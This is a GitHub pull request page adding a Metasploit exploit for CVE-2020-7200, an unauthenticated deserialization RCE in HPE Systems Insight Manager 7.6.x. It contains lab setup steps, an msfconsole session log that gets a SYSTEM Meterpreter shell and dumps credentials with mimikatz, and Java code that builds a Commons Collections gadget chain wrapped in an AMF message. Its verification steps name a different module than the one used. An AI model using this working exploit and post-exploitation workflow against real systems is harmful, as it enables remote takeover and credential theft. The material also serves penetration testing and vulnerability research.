Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2020-7200 - HPE Systems Insight Manager 7.6.x Unauthenticated RCE via AMF Deserialization #14846

Merged
merged 12 commits into from
Mar 8, 2021
Merged
Show file tree
Hide file tree
Changes from 9 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
## Vulnerable Application
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
Manager's `hpsimsvc.exe` process, which runs with administrative privileges. The vulnerability occurs due
to a failure to validate data during the deserialization process when a user submits a POST request to
the `/simsearch/messagebroker/amfsecure` page.

This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely
3.2.2, that ships with HPE SIM, to gain RCE as the administrative user running HPE SIM.

### Installing HP SIM 7.6
1. Set up a Windows Server 2016 VM.
1. Sign up for a HP login if you do not have one already. You can use a throw away email address here.
1. Download HPE SIM from https://myenterpriselicense.hpe.com/cwp-ui/download/swd/product/details/HPSIM-Win-7.x.
1. Search for `Turn Windows Features On or Off`, select `Role-based or feature-based installation`, and click `Next`, until you see `Select features`.
1. Check `SNMP Service` and `.NET Framework 3.5 Features`, and click `Next`, then `Install`. You may need to be connected to the internet to install .NET 3.5.
1. Download SQL Server 2016 SP2 Express from https://www.microsoft.com/en-us/download/details.aspx?id=56840 and run the installer.
1. Open `Computer Management` and then go to `Computer Management (Local)->Services and Applications->SQL Server Configuration Manager->SQL Server Network Configuration->Protocols for SQLEXPRESS` and double click on `TCP/IP`.
1. Set `Enabled` to `Yes` under the `Protocol` tab.
1. Click on the `IP Addresses` tab and set all `TCP Dynamic Ports` fields from `0` to an empty field, and set all `TCP Port` fields to `1433`. Then click the `Apply` button.
1. Restart the SQL service by running `sc stop MSSQL$SQLEXPRESS` and then after a few seconds, run `sc start MSSQL$SQLEXPRESS`
1. Run the HPE SIM installer and when it gets to the `Database Configuration` page, it should default to `Use SQL/SQL Express`.
1. Ensure at this point that the username is `Administrator` (or whatever the name of the administrative user you are installing as is), and the `Domain` and `Host` values are correct, and that the port is `1433`.
1. For the `Password` field, enter the password of the `Administrator` (or whatever the name of the administrative user you are installing as is), and click the `Next` button.
1. Click `Typical` under the installation option and then select `Next`.
1. On the `Service Account Credentials` screen, enter the password for the `Administrative` user and click `Next`. Then click `Install`.
1. Wait for installation to complete, this could take up to 30 min.
1. Verify that you can view https://127.0.0.1:50000/simsearch/messagebroker/amfsecure and that the page returns a HTTP 200 OK response code.

## Verification Steps

1. Install the application ensure port 50000 is open on the target and that the `/simsearch/messagebroker/amfsecure` page is accessible.
1. Start msfconsole
1. Do: `use exploit/windows/http/sharepoint_data_deserialization`
1. Set the `RHOSTS` option.
1. Set the `TARGET` option if desired.
1. Set an appropriate payload for the `PAYLOAD` option.
1. Set any additional options as required by the previously selected payload
1. Run the exploit

## Options

## Scenarios

### SIM_7.6_Z7550-96287 on Server 2016

```
msf6 > use exploit/windows/http/hpe_sim_76_amf_deserialization
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set TARGET 1
TARGET => 1
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set RHOSTS 172.29.199.4
RHOSTS => 172.29.199.4
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > show options

Module options (exploit/windows/http/hpe_sim_76_amf_deserialization):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.29.199.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 50000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the HPE SIM server
VHOST no HTTP server virtual host


Payload options (windows/x64/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.29.199.4 no The target address


Exploit target:

Id Name
-- ----
1 Windows Powershell


msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > exploit

[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Found an active amfsecure endpoint on the target!
[*] Started bind TCP handler against 172.29.199.4:4444
[*] Sending stage (200262 bytes) to 172.29.199.4
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.29.199.4:4444) at 2021-03-02 18:32:55 -0600

meterpreter > getuid
Server username: WIN-QKA9JKS5MVU\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > sysinfo
Computer : WIN-QKA9JKS5MVU
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator WIN-QKA9JKS5MVU *censored* *censored*

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-QKA9JKS5MVU (null)
WIN-QKA9JKS5MVU$ WORKGROUP (null)

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-QKA9JKS5MVU (null)
MSSQL$SQLEXPRESS NT Service (null)
SQLTELEMETRY$SQLEXPRESS NT Service (null)
win-qka9jks5mvu$ WORKGROUP (null)


meterpreter >
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
<orderEntry type="library" name="Dependancies" level="project" />
</component>
</module>
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,179 @@
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;

import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.jgroups.blocks.ReplicatedTree;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.Class;
import java.nio.file.Files;
import java.util.*;

public class Test1 {
public static void main(String[] args) throws Exception{
// Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.jgroups.blocks.ReplicatedTree");
CtClass ctClass1 = pool.get("byte[]");
CtField ctField = new CtField(ctClass1, "state", ctClass);
ctClass.addField(ctField);

// Remove the default getState method and replace it with our own getState method that
// just returns the state field that we added in above.
ctClass.removeMethod(ctClass.getDeclaredMethod("getState"));
CtMethod ctMethod = CtNewMethod.make("public byte[] getState(){ return this.state; }", ctClass);
ctClass.addMethod(ctMethod);

// Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
// ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
// the code below. Here we also create an object that will call calc.exe and write that
// resulting object into the object output stream, before then closing the stream.
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject2("PAYLOAD"));
objectOutputStream.close();

// Convert the byte array containing the object stream into
// a byte array and save that into secondObj
byte[] secondObj = byteArrayOutputStream.toByteArray();

// First we create a ReplicatedTree object here, which is part of our desire
// to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
// ctClass, aka the adjusted class that had the "state" field added and the "getState" method
// adjusted, to do this. Then set the "state" field to be accessible and set its value
// to that of secondObj, or the object stream created by getObject2().
Constructor constctor = ctClass.toClass().getConstructor();
ReplicatedTree replicatedTree = (ReplicatedTree) constctor.newInstance();
Field f1 = replicatedTree.getClass().getDeclaredField("state");
f1.setAccessible(true);
f1.set(replicatedTree, secondObj);

// Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
// serialize this object and wrap it further into an AMF object, then return its byte stream and
// save this into the byte array "ser".
byte[] ser = serialize(replicatedTree);

// Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
fileOutputStream.write(ser);
fileOutputStream.close();

// Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
// into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
// content to check the deserialization works properly.
byte[] serContent = Files.readAllBytes((new File("emp.ser")).toPath());
deserialize(serContent);
}

public static byte[] serialize(Object data) throws IOException {
// Create the MessageBody element that will contain the data to be recreated using readObject().
// Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
// if you need more info on this.
MessageBody body = new MessageBody();
body.setData(data);

// Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
// end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
// this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
// here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
ActionMessage message = new ActionMessage();
message.addBody(body);

// Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
// Then call out.toByteArray() to get the byte array version of the resulting serialized object.
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);

return out.toByteArray();
}

public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
// Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
// opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
// and pass it "amf", aka the byte array stream we want to process.
ByteArrayInputStream in = new ByteArrayInputStream(amf);

// Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
deserializer.readMessage(new ActionMessage(), new ActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
}


public static Serializable getObject2(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

return map;

}
}
Loading